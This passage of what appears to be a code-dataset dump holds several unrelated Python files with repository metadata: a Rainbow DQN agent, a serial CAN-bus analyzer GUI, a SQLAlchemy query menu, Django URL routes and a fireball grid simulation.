Dense層のユニット数\n enable_dueling_network=True, # dueling network有効フラグ\n dueling_network_type=DuelingNetwork.AVERAGE, # dueling networkで使うアルゴリズム\n lstm_type=LstmType.NONE, # LSTM有効フラグ\n lstm_units_num=512, # LSTMのユニット数\n lstm_ful_input_length=1, # ステートフルLSTMの入力数\n\n # burn-in有効時の設定\n burnin_length=4, # burn-in期間\n enable_rescaling=False, # rescalingを有効にするか\n rescaling_epsilon=0.001, # rescalingの定数\n priority_exponent=0.9, # シーケンス長priorityを計算する際のη\n \n # train関係\n batch_size=32, # batch_size\n memory_warmup_size=50000, # 初期メモリー確保用step数(学習しない)\n target_model_update=500, # target networkのupdate間隔\n enable_double_dqn=True, # DDQN有効フラグ\n action_interval=4, # アクションを実行する間隔\n train_interval=4, # 学習間隔\n gamma=0.99, # Q学習の割引率\n reward_multisteps=3, # multistep reward\n\n processor=None\n ):\n super(Rainbow, self).__init__(processor)\n self.compiled = False # super()\n\n #--- check\n if lstm_type == LstmType.STATEFUL:\n self.burnin_length = burnin_length\n else:\n self.burnin_length = 0\n\n assert memory.capacity > batch_size, \"Memory capacity is small.(Larger than batch size)\"\n assert memory_warmup_size > batch_size, \"Warmup steps is few.(Larger than batch size)\"\n\n if image_model is None:\n assert input_type == InputType.VALUES\n else:\n assert input_type == InputType.GRAY_2ch or input_type == InputType.GRAY_3ch or input_type == InputType.COLOR\n\n # 画像入力の制約\n # LSTMを使う場合: 画像は(w,h,ch)で入力できます。\n # LSTMを使わない場合：\n # input_sequenceが1：全て使えます。\n # input_sequenceが1以外：GRAY_2ch のみ使えます。\n if lstm_type == LstmType.NONE and input_sequence != 1:\n assert (input_type == InputType.GRAY_2ch), \"input_iimage can use GRAY_2ch.\"\n\n #---\n self.input_shape = input_shape\n self.image_model = image_model\n self.input_type = input_type\n\n self.nb_actions = nb_actions\n self.input_sequence = input_sequence\n self.memory_warmup_size = memory_warmup_size\n self.target_model_update = target_model_update\n self.action_interval = action_interval\n self.train_interval = train_interval\n self.gamma = gamma\n self.batch_size = batch_size\n assert reward_multisteps > 0, \"'reward_multisteps' is 1 or more.\"\n self.reward_multisteps = reward_multisteps\n self.dense_units_num = dense_units_num\n\n self.lstm_units_num = lstm_units_num\n self.enable_rescaling = enable_rescaling\n self.rescaling_epsilon = rescaling_epsilon\n self.priority_exponent = priority_exponent\n self.lstm_type = lstm_type\n\n self.optimizer = optimizer\n self.metrics = metrics\n\n self.memory = memory\n self.action_policy = action_policy\n \n self.lstm_ful_input_length = lstm_ful_input_length\n \n self.enable_double_dqn = enable_double_dqn\n self.enable_dueling_network = enable_dueling_network\n self.dueling_network_type = dueling_network_type\n \n self.model = self.build_compile_model() # Q network\n model_json = self.model.to_json()\n self.target_model = model_from_json(model_json)\n self.action_policy.compile(model_json)\n\n if self.lstm_type == LstmType.STATEFUL:\n self.lstm = self.model.get_layer(\"lstm\")\n self.target_lstm = self.target_model.get_layer(\"lstm\")\n\n self.compiled = True # super\n\n self.local_step = 0\n\n\n def reset_states(self): # override\n self.repeated_action = 0\n \n if self.lstm_type == LstmType.STATEFUL:\n multi_len = self.reward_multisteps + self.lstm_ful_input_length - 1\n self.recent_actions = [ 0 for _ in range(multi_len + 1)]\n self.recent_rewards = [ 0 for _ in range(multi_len)]\n self.recent_rewards_multistep = [ 0 for _ in range(self.lstm_ful_input_length)]\n tmp = self.burnin_length + self.input_sequence + multi_len\n self.recent_observations = [\n np.zeros(self.input_shape) for _ in range(tmp)\n ]\n tmp = self.burnin_length + multi_len + 1\n self.recent_observations_wrap = [\n [np.zeros(self.input_shape) for _ in range(self.input_sequence)] for _ in range(tmp)\n ]\n\n # hidden_state: [(batch_size, lstm_units_num), (batch_size, lstm_units_num)]\n tmp = self.burnin_length + multi_len + 1+1\n self.model.reset_states()\n self.recent_hidden_states = [\n [K.get_value(self.lstm.states[0]), K.get_value(self.lstm.states[1])] for _ in range(tmp)\n ]\n \n else:\n self.recent_actions = [ 0 for _ in range(self.reward_multisteps+1)]\n self.recent_rewards = [ 0 for _ in range(self.reward_multisteps)]\n self.recent_rewards_multistep = 0\n self.recent_observations = [\n np.zeros(self.input_shape) for _ in range(self.input_sequence + self.reward_multisteps)\n ]\n\n def build_compile_model(self):\n\n if self.lstm_type == LstmType.STATEFUL:\n # input(batch_size, timesteps, shape)\n c = input_ = Input(batch_shape=(self.batch_size, self.input_sequence) + self.input_shape)\n else:\n # input(input_sequence, shape)\n c = input_ = Input(shape=(self.input_sequence,) + self.input_shape)\n \n \n if self.image_model is None:\n # input not image\n if self.lstm_type == LstmType.NONE:\n c = Flatten()(c)\n else:\n c = TimeDistributed(Flatten())(c)\n else:\n # input image\n if self.lstm_type == LstmType.NONE:\n enable_lstm = False\n if self.input_type == InputType.GRAY_2ch:\n # (input_seq, w, h) ->(w, h, input_seq)\n c = Permute((2, 3, 1))(c)\n\n elif self.lstm_type == LstmType.STATELESS or self.lstm_type == LstmType.STATEFUL:\n enable_lstm = True\n if self.input_type == InputType.GRAY_2ch:\n # (time steps, w, h) -> (time steps, w, h, ch)\n c = Reshape((self.input_sequence, ) + self.input_shape + (1,) )(c)\n \n else:\n raise ValueError('lstm_type is not undefined')\n c = self.image_model.create_image_model(c, enable_lstm)\n\n # lstm layer\n if self.lstm_type == LstmType.STATELESS:\n c = LSTM(self.lstm_units_num, name=\"lstm\")(c)\n elif self.lstm_type == LstmType.STATEFUL:\n c = LSTM(self.lstm_units_num, stateful=True, name=\"lstm\")(c)\n\n # dueling network\n if self.enable_dueling_network:\n # value\n v = Dense(self.dense_units_num, activation=\"relu\")(c)\n v = Dense(1, name=\"v\")(v)\n\n # advance\n adv = Dense(self.dense_units_num, activation='relu')(c)\n adv = Dense(self.nb_actions, name=\"adv\")(adv)\n\n # 連結で結合\n c = Concatenate()([v,adv])\n if self.dueling_network_type == DuelingNetwork.AVERAGE:\n c = Lambda(lambda a: K.expand_dims(a[:, 0], -1) + a[:, 1:] - K.mean(a[:, 1:], axis=1, keepdims=True), output_shape=(self.nb_actions,))(c)\n elif self.dueling_network_type == DuelingNetwork.MAX:\n c = Lambda(lambda a: K.expand_dims(a[:, 0], -1) + a[:, 1:] - K.max(a[:, 1:], axis=1, keepdims=True), output_shape=(self.nb_actions,))(c)\n elif self.dueling_network_type == DuelingNetwork.NAIVE:\n c = Lambda(lambda a: K.expand_dims(a[:, 0], -1) + a[:, 1:], output_shape=(self.nb_actions,))(c)\n else:\n raise ValueError('dueling_network_type is not undefined')\n else:\n c = Dense(self.dense_units_num, activation=\"relu\")(c)\n c = Dense(self.nb_actions, activation=\"linear\", name=\"adv\")(c)\n \n model = Model(input_, c)\n model.compile(loss=clipped_error_loss, optimizer=self.optimizer, metrics=self.metrics)\n self.compiled = True # super\n\n return model\n\n def compile(self, optimizer, metrics=[]): # override\n self.compiled = True # super\n\n def save_weights(self, filepath, overwrite=False, save_memory=False): # override\n if overwrite or not os.path.isfile(filepath):\n d = {\n \"weights\": self.model.get_weights(),\n \"policy\": self.action_policy.get_weights(),\n \"step\": self.local_step,\n }\n with open(filepath, 'wb') as f:\n pickle.dump(d, f)\n \n # memory\n if save_memory:\n d = self.memory.get_memorys()\n with open(filepath + \".mem\", 'wb') as f:\n pickle.dump(d, f)\n\n\n def load_weights(self, filepath, load_memory=False): # override\n if not os.path.isfile(filepath):\n return\n with open(filepath, 'rb') as f:\n d = pickle.load(f)\n self.model.set_weights(d[\"weights\"])\n self.target_model.set_weights(d[\"weights\"])\n self.action_policy.set_weights(d[\"policy\"])\n self.local_step = d[\"step\"]\n\n # memory\n if load_memory:\n filepath = filepath + \".mem\"\n if os.path.isfile(filepath):\n with open(filepath, 'rb') as f:\n d = pickle.load(f)\n self.memory.set_memorys(d)\n\n def forward(self, observation): # override\n # observation\n self.recent_observations.pop(0)\n self.recent_observations.append(observation)\n\n if self.lstm_type == LstmType.STATEFUL:\n self.recent_observations_wrap.pop(0)\n self.recent_observations_wrap.append(self.recent_observations[-self.input_sequence:])\n\n # tmp\n self._qvals = None\n self._state1 = self.recent_observations[-self.input_sequence:]\n self._state1_np = np.asarray(self._state1)\n\n # 学習(次の状態が欲しいのでforwardで学習)\n if self.training:\n self.forward_train()\n\n # 状態の更新\n if self.lstm_type == LstmType.STATEFUL:\n self.lstm.reset_states(self.recent_hidden_states[-1])\n\n # hidden_state を更新しつつQ値も取得\n state = self._state1_np\n pred_state = np.full((self.batch_size,)+state.shape, state) # batchサイズ分増やす\n self._qvals = self.model.predict(pred_state, batch_size=self.batch_size)[0]\n \n hidden_state = [K.get_value(self.lstm.states[0]), K.get_value(self.lstm.states[1])]\n self.recent_hidden_states.pop(0)\n self.recent_hidden_states.append(hidden_state)\n \n # フレームスキップ(action_interval毎に行動を選択する)\n action = self.repeated_action\n if self.step % self.action_interval == 0:\n\n # 行動を決定\n if self.training:\n # training中は action policyに従う\n action = self.action_policy.select_action(self)\n else:\n # テスト中またはNoisyNet中の場合\n action = np.argmax(self.get_qvals())\n\n # リピート用\n self.repeated_action = action\n \n # アクション保存\n self.recent_actions.pop(0)\n self.recent_actions.append(action)\n \n return action\n \n\n def get_qvals(self):\n if self.lstm_type == LstmType.STATEFUL:\n return self._qvals\n else:\n if self._qvals is None:\n self._qvals = self.model.predict(\n self._state1_np[np.newaxis,:], batch_size=1)[0]\n return self._qvals\n\n def get_state(self):\n return self._state1_np\n\n def get_prev_state(self):\n if self.lstm_type == LstmType.STATEFUL:\n observation = np.asarray(self.recent_observations_wrap[-self.reward_multisteps-1])\n action = self.recent_actions[-self.reward_multisteps-1]\n reward = self.recent_rewards_multistep[-self.reward_multisteps]\n else:\n observation = np.asarray(self.recent_observations[:self.input_sequence])\n action = self.recent_actions[0]\n reward = self.recent_rewards_multistep\n return (observation, action, reward)\n\n # 長いのでこちらに\n def forward_train(self):\n \n if self.lstm_type == LstmType.STATEFUL:\n self.memory.add((\n self.recent_observations_wrap[:],\n self.recent_actions[0:self.lstm_ful_input_length],\n self.recent_rewards_multistep[:],\n self.recent_hidden_states[0]))\n\n else:\n self.memory.add((\n self.recent_observations[:self.input_sequence],\n self.recent_actions[0],\n self.recent_rewards_multistep, \n self._state1))\n\n # 初期のReplay Memoryの確保、学習しない。\n if len(self.memory) <= self.memory_warmup_size:\n return\n \n # 学習の更新間隔\n if self.step % self.train_interval != 0:\n return\n\n # memory から優先順位に基づき状態を取得\n (indexes, batchs, weights) = self.memory.sample(self.batch_size, self.local_step)\n \n # 学習(長いので関数化)\n if self.lstm_type == LstmType.STATEFUL:\n self.train_model_ful(indexes, batchs, weights)\n else:\n self.train_model(indexes, batchs, weights)\n\n # ノーマルの学習\n def train_model(self, indexes, batchs, weights):\n state0_batch = []\n action_batch = []\n reward_batch = []\n state1_batch = []\n for i, batch in enumerate(batchs):\n state0_batch.append(batch[0])\n action_batch.append(batch[1])\n reward_batch.append(batch[2])\n state1_batch.append(batch[3])\n state0_batch = np.asarray(state0_batch)\n state1_batch = np.asarray(state1_batch)\n \n # 更新用に現在のQネットワークを出力(Q network)\n state0_qvals = self.model.predict(state0_batch, self.batch_size)\n\n if self.enable_double_dqn:\n # TargetNetworkとQNetworkのQ値を出す\n state1_qvals_model = self.model.predict(state1_batch, self.batch_size)\n state1_qvals_target = self.target_model.predict(state1_batch, self.batch_size)\n else:\n # 次の状態のQ値を取得(target_network)\n state1_qvals_target = self.target_model.predict(state1_batch, self.batch_size)\n\n for i in range(self.batch_size):\n if self.enable_double_dqn:\n action = state1_qvals_model[i].argmax() # modelからアクションを出す\n maxq = state1_qvals_target[i][action] # Q値はtarget_modelを使って出す\n else:\n maxq = state1_qvals_target[i].max()\n \n # priority計算\n q0 = state0_qvals[i][action_batch[i]]\n td_error = reward_batch[i] + (self.gamma ** self.reward_multisteps) * maxq - q0\n priority = abs(td_error)\n \n # Q値の更新\n state0_qvals[i][action_batch[i]] += td_error * weights[i]\n\n # priorityを更新\n self.memory.update(indexes[i], batchs[i], priority)\n\n # 学習\n self.model.train_on_batch(state0_batch, state0_qvals)\n \n\n # ステートフルLSTMの学習\n def train_model_ful(self, indexes, batchs, weights):\n\n hidden_s0 = []\n hidden_s1 = []\n for batch in batchs:\n # batchサイズ分あるけどすべて同じなので0番目を取得\n hidden_s0.append(batch[3][0][0])\n hidden_s1.append(batch[3][1][0])\n hidden_states = [np.asarray(hidden_s0), np.asarray(hidden_s1)]\n\n # init hidden_state\n self.lstm.reset_states(hidden_states)\n self.target_lstm.reset_states(hidden_states)\n\n # predict\n hidden_states_arr = []\n if self.burnin_length == 0:\n hidden_states_arr.append(hidden_states)\n state_batch_arr = []\n model_qvals_arr = []\n target_qvals_arr = []\n prioritys = [ [] for _ in range(self.batch_size)]\n for seq_i in range(self.burnin_length + self.reward_multisteps + self.lstm_ful_input_length):\n\n # state\n state_batch = [ batch[0][seq_i] for batch in batchs ]\n state_batch = np.asarray(state_batch)\n \n # hidden_state更新およびQ値取得\n model_qvals = self.model.predict(state_batch, self.batch_size)\n target_qvals = self.target_model.predict(state_batch, self.batch_size)\n\n # burnin-1\n if seq_i < self.burnin_length-1:\n continue\n hidden_states_arr.append([K.get_value(self.lstm.states[0]), K.get_value(self.lstm.states[1])])\n\n # burnin\n if seq_i < self.burnin_length:\n continue\n\n state_batch_arr.append(state_batch)\n model_qvals_arr.append(model_qvals)\n target_qvals_arr.append(target_qvals)\n\n # train\n for seq_i in range(self.lstm_ful_input_length):\n\n # state0 の Qval (multistep前)\n state0_qvals = model_qvals_arr[seq_i]\n \n # batch\n for batch_i in range(self.batch_size):\n\n # maxq\n if self.enable_double_dqn:\n action = model_qvals_arr[seq_i+self.reward_multisteps][batch_i].argmax() # modelからアクションを出す\n maxq = target_qvals_arr[seq_i+self.reward_multisteps][batch_i][action] # Q値はtarget_modelを使って出す\n else:\n maxq = target_qvals_arr[seq_i+self.reward_multisteps][batch_i].max()\n\n # priority\n batch_action = batchs[batch_i][1][seq_i]\n q0 = state0_qvals[batch_i][batch_action]\n reward = batchs[batch_i][2][seq_i]\n td_error = reward + (self.gamma ** self.reward_multisteps) * maxq - q0\n priority = abs(td_error)\n prioritys[batch_i].append(priority)\n\n # Q値の更新\n state0_qvals[batch_i][batch_action] += td_error * weights[batch_i]\n\n # train\n self.lstm.reset_states(hidden_states_arr[seq_i])\n self.model.train_on_batch(state_batch_arr[seq_i], state0_qvals)\n \n # priority update\n for batch_i, batch in enumerate(batchs):\n priority = self.priority_exponent * np.max(prioritys[batch_i]) + (1-self.priority_exponent) * np.average(prioritys[batch_i])\n self.memory.update(indexes[batch_i], batch, priority)\n \n\n def backward(self, reward, terminal): # override\n # terminal は env が終了状態ならTrue\n self.local_step += 1\n if not self.training:\n return []\n \n # 報酬の保存\n self.recent_rewards.pop(0)\n self.recent_rewards.append(reward)\n\n # multi step learning の計算\n _tmp = 0\n for i in range(-self.reward_multisteps, 0):\n r = self.recent_rewards[i]\n _tmp += r * (self.gamma ** i)\n \n # rescaling\n if self.enable_rescaling:\n _tmp = rescaling(_tmp)\n\n if self.lstm_type == LstmType.STATEFUL:\n self.recent_rewards_multistep.pop(0)\n self.recent_rewards_multistep.append(_tmp)\n else:\n self.recent_rewards_multistep = _tmp\n\n # 一定間隔でtarget modelに重さをコピー\n if self.step % self.target_model_update == 0:\n self.target_model.set_weights(self.model.get_weights())\n\n return []\n \n @property\n def layers(self): #override\n return self.model.layers[:]\n","repo_name":"pocokhc/r2d2","sub_path":"src/rainbow.py","file_name":"rainbow.py","file_ext":"py","file_size_in_byte":21453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19631667837","text":"import time\r\nimport serial\r\nimport tkinter as tk\r\nfrom pandas import DataFrame\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\r\nimport threading\r\nfrom matplotlib.animation import FuncAnimation\r\nfrom itertools import count\r\nimport pandas as pd\r\n\r\n\r\nread = [0,0,0,0]\r\nmain_read_1 = [] \r\nmain_read_2 = [] \r\n\r\n\r\n\r\n\r\n#plt.style.use('seaborn')\r\naxcolor = 'lightgoldenrodyellow'\r\n\r\nx_vals = []\r\ny_vals = []\r\n \r\nindex = count()\r\n\r\nfig1, (ax1,ax2) = plt.subplots(nrows=2,ncols=1)\r\ncounter_1 = 0\r\ncounter_2 = 0\r\ncc1 = 0\r\ncc2 = 0\r\n\r\n\r\nx1 = []\r\nx2 = []\r\n\r\ny1 = []\r\ny2 = []\r\nchan1_id = 0\r\nchan2_id = 0\r\nchan1_lable = str()\r\nchan2_lable = str()\r\nstart = 0 \r\ndef animate(i):\r\n global read\r\n global main_read_1\r\n global main_read_2\r\n global cc1\r\n global cc2\r\n global chan1_id\r\n global chan2_id\r\n global chan1_lable\r\n global chan2_lable\r\n global start\r\n global counter_1 \r\n global counter_2 \r\n if start == 1 :\r\n if len(main_read_1) > cc1 :\r\n cc1 = len(main_read_1)\r\n \r\n ax1.cla()\r\n \r\n ax1.set_axisbelow(True)\r\n ax1.minorticks_on()\r\n ax1.grid(which='major', linestyle='-', linewidth='0.5', color='red')\r\n ax1.grid(which='minor', linestyle=':', linewidth='0.5', color='black')\r\n ax2.axvline(0.0,0,1, linestyle='dashed') \r\n ax1.plot(x1, main_read_1, label= chan1_lable)\r\n ax1.legend()\r\n ax1.set_ylabel('time')\r\n if counter_1 < 500 :\r\n ax1.set_xlim([0,550]) \r\n else :\r\n ax1.set_xlim(max(0,counter_1 - 500),(counter_1 + 50))\r\n ax1.set_ylim([0,400]) \r\n \r\n if len(main_read_2) > cc2 :\r\n cc2 = len(main_read_2)\r\n ax2.cla()\r\n ax2.set_axisbelow(True)\r\n\r\n ax2.minorticks_on()\r\n \r\n ax2.grid(which='major', linestyle='-', linewidth='0.5', color='green')\r\n ax2.grid(which='minor', linestyle=':', linewidth='0.5', color='black')\r\n \r\n ax2.plot(x2, main_read_2, label= chan2_lable)\r\n ax2.legend()\r\n ax2.set_xlabel('time')\r\n if counter_2 < 250 :\r\n ax2.set_xlim([0,300]) \r\n else :\r\n ax2.set_xlim(max(0,counter_2 - 250),(counter_2 + 50))\r\n ax2.set_ylim([0,400])\r\n \r\ndef start_Stop () :\r\n global start\r\n if start == 0 :\r\n start = 1 \r\n else :\r\n start = 0 \r\n \r\n \r\n \r\ndef enter () :\r\n global chan1_id\r\n global chan2_id\r\n global chan1_lable\r\n global chan2_lable\r\n global start\r\n global enterButton\r\n global l1\r\n global l2\r\n global l3\r\n global l4\r\n global send_ID\r\n global send_DATA\r\n global ser\r\n chan1_id = int(chan_1_ID.get())\r\n chan2_id = int(chan_2_ID.get())\r\n chan1_lable = str(chan_1_lable.get())\r\n chan2_lable = str(chan_2_lable.get())\r\n chan_1_ID.destroy()\r\n chan_2_ID.destroy()\r\n chan_1_lable.destroy()\r\n chan_2_lable.destroy()\r\n enterButton.grid_remove ()\r\n l1.grid_remove ()\r\n l2.grid_remove ()\r\n l3.grid_remove ()\r\n l4.grid_remove ()\r\n \r\n \r\n send_ID = tk.Entry(Title1 , width = 30)\r\n send_ID.grid(row = 1 , column = 3)\r\n SEND_ID_LABEL = tk.Label(Title1, text = 'ID', font =('Verdana', 10)) \r\n SEND_ID_LABEL.grid(row = 1 , column = 1)\r\n\r\n send_DATA = tk.Entry(Title1 , width = 30)\r\n send_DATA.grid(row = 3 , column = 3)\r\n send_DATA_LABEL = tk.Label(Title1, text = 'DATA', font =('Verdana', 10)) \r\n send_DATA_LABEL.grid(row = 3 , column = 1)\r\n\r\n sendButton = tk.Button(Title1,text = \"SEND\" ,command = send_func , bg = 'green',width = 15)\r\n sendButton.grid(row = 4 , column = 3)\r\n \r\n sendButton = tk.Button(Title1,text = \"SEND\" ,command = send_func , bg = 'green',width = 15)\r\n sendButton.grid(row = 4 , column = 3)\r\n \r\n startstopButton = tk.Button(Title1,text = \"start / stop\" ,command = start_Stop , bg = 'red',width = 20)\r\n startstopButton.grid(row = 6 , column = 3)\r\n \r\n ser = serial.Serial('COM9',115200) \r\n \r\n if ser.is_open:\r\n print(\"\\n Port Open Success\")\r\n \r\n ser.write((chan1_id).to_bytes(2, byteorder='big'))\r\n ser.write((chan2_id).to_bytes(2, byteorder='big'))\r\n\r\n\r\n \r\n start = 1 ;\r\n\r\n \r\n \r\ndef send_func () :\r\n global send_ID\r\n global send_DATA\r\n global ser\r\n _id = int(send_ID.get())\r\n _data = int(send_DATA.get())\r\n print(_id)\r\n print(_data)\r\n ser.write((_id).to_bytes(2, byteorder='big'))\r\n ser.write((_data).to_bytes(2, byteorder='little'))\r\n\r\n\r\ndef function (i): \r\n global counter_1 \r\n global counter_2 \r\n \r\n global read\r\n global main_read_1\r\n global main_read_2\r\n global can_1_data\r\n global can_2_data\r\n\r\n global chan1_id\r\n global chan2_id\r\n global start\r\n global ser\r\n global root\r\n while start == 0 :\r\n time.sleep(1)\r\n while 1 :\r\n while (ser.inWaiting()>0):\r\n for n in range(4):\r\n read[n]=int.from_bytes(ser.read(1), \"big\")\r\n can_id = (read[1] << 8 )| ((read[0]) & 0xff )\r\n can_id_data = (read[3] << 8 )| ((read[2]) & 0xff ) \r\n if start == 1 :\r\n if ( can_id == chan1_id):\r\n can_1_data = can_id_data\r\n counter_1+=1 \r\n x1.append(counter_1)\r\n main_read_1.append(can_id_data)\r\n elif (can_id == chan2_id) :\r\n can_2_data = can_id_data \r\n counter_2+=1 \r\n x2.append(counter_2)\r\n main_read_2.append(can_id_data)\r\n \r\n \r\n \r\n\r\nroot= tk.Tk() \r\nroot.geometry(\"1000x500+200+100\")\r\n\r\ni=0\r\nwhile i< 10:\r\n\troot.columnconfigure(i,minsize='10m')\r\n\ti+=1\r\ni=0\r\nwhile i<10:\r\n\troot.rowconfigure(i,minsize='10m')\r\n\ti+=1\r\n\r\nfig1.set_size_inches(6,5)\r\n\r\n\r\n\r\n#loginButton =tkinter.Button(root,text = \"LOG IN\" ,command = CheckID , bg = 'green',width = 15).grid(row = 4 , column = 4)\r\n#l1 = tkinter.Label(root, text = 'ID', font =('Verdana', 10)) \r\n#l1.grid(row = 3 , column = 3)\r\n\r\nTitle = tk.Frame(root, width=400, height=400, bd=4, relief=\"ridge\")\r\nTitle.grid(row=0, column=0)\r\n\r\nTitle1 = tk.Frame(root, width=400, height=400, relief=\"ridge\")\r\nTitle1.grid(row=0, column=1)\r\ni=0\r\nwhile i< 10:\r\n\tTitle1.columnconfigure(i,minsize='10m')\r\n\ti+=1\r\ni=0\r\nwhile i<10:\r\n\tTitle1.rowconfigure(i,minsize='10m')\r\n\ti+=1\r\ni=0\r\n \r\nchan_1_ID = tk.Entry(Title1 , width = 30)\r\nchan_1_ID.grid(row = 0 , column = 3)\r\nl1 = tk.Label(Title1, text = 'ID 1', font =('Verdana', 10)) \r\nl1.grid(row = 0 , column = 1)\r\n\r\n \r\nchan_1_lable = tk.Entry(Title1 , width = 30)\r\nchan_1_lable.grid(row = 1 , column = 3)\r\nl2 = tk.Label(Title1, text = 'label 1', font =('Verdana', 10)) \r\nl2.grid(row = 1 , column = 1)\r\n\r\nchan_2_ID = tk.Entry(Title1 , width = 30)\r\nchan_2_ID.grid(row = 4 , column = 3)\r\nl3 = tk.Label(Title1, text = 'ID 2', font =('Verdana', 10)) \r\nl3.grid(row = 4 , column = 1)\r\n\r\n\r\nchan_2_lable = tk.Entry(Title1 , width = 30)\r\nchan_2_lable.grid(row = 5 , column = 3)\r\nl4 = tk.Label(Title1, text = 'label 2', font =('Verdana', 10)) \r\nl4.grid(row = 5 , column = 1)\r\n\r\nenterButton =tk.Button(Title1,text = \"enter\" ,command = enter , bg = 'green',width = 15)\r\nenterButton.grid(row = 6 , column = 3)\r\n\r\n\r\nbar1 = FigureCanvasTkAgg(fig1, Title)\r\nbar1.get_tk_widget().grid(row = 0 , column = 0)\r\n \r\nx = threading.Thread(target=function, args=(1,))\r\nx.start() \r\n\r\nani = FuncAnimation(fig1, animate, interval=50)\r\n\r\nroot.mainloop()\r\n \r\n\r\n \r\n","repo_name":"Amralmasry/can_analyzer_stm32f446re","sub_path":"CAN_ANALYZER_PYTHON.py","file_name":"CAN_ANALYZER_PYTHON.py","file_ext":"py","file_size_in_byte":7633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33062340266","text":"import time\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import Session, sessionmaker\nimport json\n\nfrom viewes import task_01, task_01_sql, task_02, task_02_sql\n\ncfg = json.load(open(\"./config.json\"))\nDB_INFO = cfg['db']\n\nengine = create_engine(\n f'postgresql://{DB_INFO[\"user\"]}:{DB_INFO[\"password\"]}@{DB_INFO[\"host\"]}:{DB_INFO[\"port\"]}/{DB_INFO[\"name\"]}',\n pool_pre_ping=True)\n\nSession = sessionmaker(bind=engine)\n\n\ndef menu():\n choices = \\\n '''\n 1 - Найти все отделы, в которых работает более 10 сотрудников.\n 2 - Найти сотрудников, которые не выходят с рабочего места в течение всего рабочего дня.\n 3 - Найти все отделы, в которых есть сотрудники, опоздавшие в определенную дату. Дату передавать с клавиатуры\n -1- Завершить работу.\n '''\n print(choices)\n\n\nQUERIES = [1, 2, 3, 4]\n\n\ndef main():\n is_work = True\n while is_work:\n menu()\n action = input()\n try:\n action = int(action)\n except:\n print(\"Invalid input actions. Only nums.\")\n else:\n if action == -1:\n print(\"End of work\")\n break\n else:\n if action in QUERIES:\n session = Session()\n if action == 1:\n res = task_01(session)\n if action == 2:\n res = task_01_sql(session)\n if action == 3:\n res = task_02(session)\n if action == 4:\n res = task_02_sql(session)\n print(res)\n session.commit()\n else:\n print(\"Error input action\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Flash1ee/db-5th-sem-bmstu","sub_path":"labs/rk_03/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5765290978","text":"from django.urls import path\n\nfrom .views import *\n\nurlpatterns = [\n path('', PostList.as_view(), name='home'),\n path('about/', about, name='about'),\n path('post//', PostDetail.as_view(), name='post_detail'),\n path('add/', PostCreate.as_view(), name='post_create'),\n\n path('contact/', contact, name='contact'),\n\n path('login/', LoginUser.as_view(), name='login'),\n path('logout/', logout_user, name='logout'),\n path('register/', RegisterUser.as_view(), name='register'),\n]","repo_name":"ZhArtem/TulaHack2023","sub_path":"posts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5673951856","text":"import copy\nimport sys\n\nsys.stdin = open(\"./input.txt\", \"r\")\n\ndirections = [(0,-1),(1,-1),(1,0),(1,1),(0,1),(-1,1),(-1,0),(-1,-1)]\nN, M, K = map(int, sys.stdin.readline().split())\n\nboards = {}\nfireballs = {}\nlast_id = 0\nfor i in range(M):\n r, c, m, s, d = map(int, sys.stdin.readline().split())\n fireballs[i] = [r,c,m,s,d]\n last_id = i+1\n try: boards[(r,c)].append(i)\n except: boards[(r,c)] = [i]\n\ndef move_fireballs(fireballs):\n tmp_boards = {}\n tmp_fireballs = {}\n for id,f in fireballs.items():\n r,c,m,s,d = f\n print(id, '번째 파이어볼...', r,c, m, s, d)\n sx, sy = (directions[d][1] * s), (directions[d][0] * s)\n nx, ny = (r + sx + N) % N, (c + sy + N) % N\n x,y = nx, ny\n\n print(r, c, '->', x, y)\n try: tmp_boards[(x,y)].append(id)\n except: tmp_boards[(x,y)] = [id]\n tmp_fireballs[id] = [x,y,m,s,d]\n return tmp_boards, tmp_fireballs\n\nresult_dt, result_df = [0,2,4,6], [1,3,5,7]\ndef asemble_fireballs(boards, fireballs, last_id):\n tmp_boards = copy.deepcopy(boards)\n tmp_fireballs = copy.deepcopy(fireballs)\n for loc, fbs in boards.items():\n print(fbs)\n x, y = loc\n if len(fbs)>1 : # 볼이 두개이상일 때\n tmp_boards[(x,y)].clear()\n print('==after clear, 파이어볼 합치기 시작. === ', x, y)\n print(tmp_boards)\n total_w = 0 # 총 질량\n total_s = 0 # 총 속력\n check_d = -1 # 방향 체크. 0 = 짝, 1 = 홀\n is_D_flag = True\n print(fireballs)\n for f in fbs:\n r, c, m, s, d = fireballs.pop(f)\n tmp_fireballs.pop(f)\n total_w += m\n total_s += s\n if check_d == -1:\n check_d = d%2\n elif check_d != d%2:\n is_D_flag = False\n result_w = int(total_w/5)\n result_s = int(total_s/len(fbs))\n print(result_s, result_w)\n if result_w > 0: # 파이어볼이 소멸 되지 않았을 때.\n for i in range(4):\n if is_D_flag: # 모두 짝 or 홀\n tmp_fireballs[last_id] = [x, y, result_w, result_s, result_dt[i]]\n tmp_boards[(x,y)].append(last_id)\n last_id+=1\n else: # 모두 짝 or 홀\n tmp_fireballs[last_id] = [x, y, result_w, result_s, result_df[i]]\n tmp_boards[(x,y)].append(last_id)\n last_id+=1\n print(tmp_fireballs)\n print('tmp_board: ',tmp_boards)\n print('board: ', boards)\n return tmp_boards, tmp_fireballs, last_id\n\nfor turn in range(K):\n print('==============================', turn,'==============================')\n print(boards)\n print(fireballs)\n boards, fireballs = move_fireballs(fireballs)\n boards, fireballs, last_id = asemble_fireballs(boards,fireballs, last_id)\n\nresult = 0\nfor f in fireballs.values():\n _,_,m,_,_ = f\n result+=m\nprint(result)\n\n\n","repo_name":"jimilee/Cotemuseum","sub_path":"pre/re_마법사_상어와_파이어볼.py","file_name":"re_마법사_상어와_파이어볼.py","file_ext":"py","file_size_in_byte":3098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"44194803048","text":"from typing import List\n\nimport 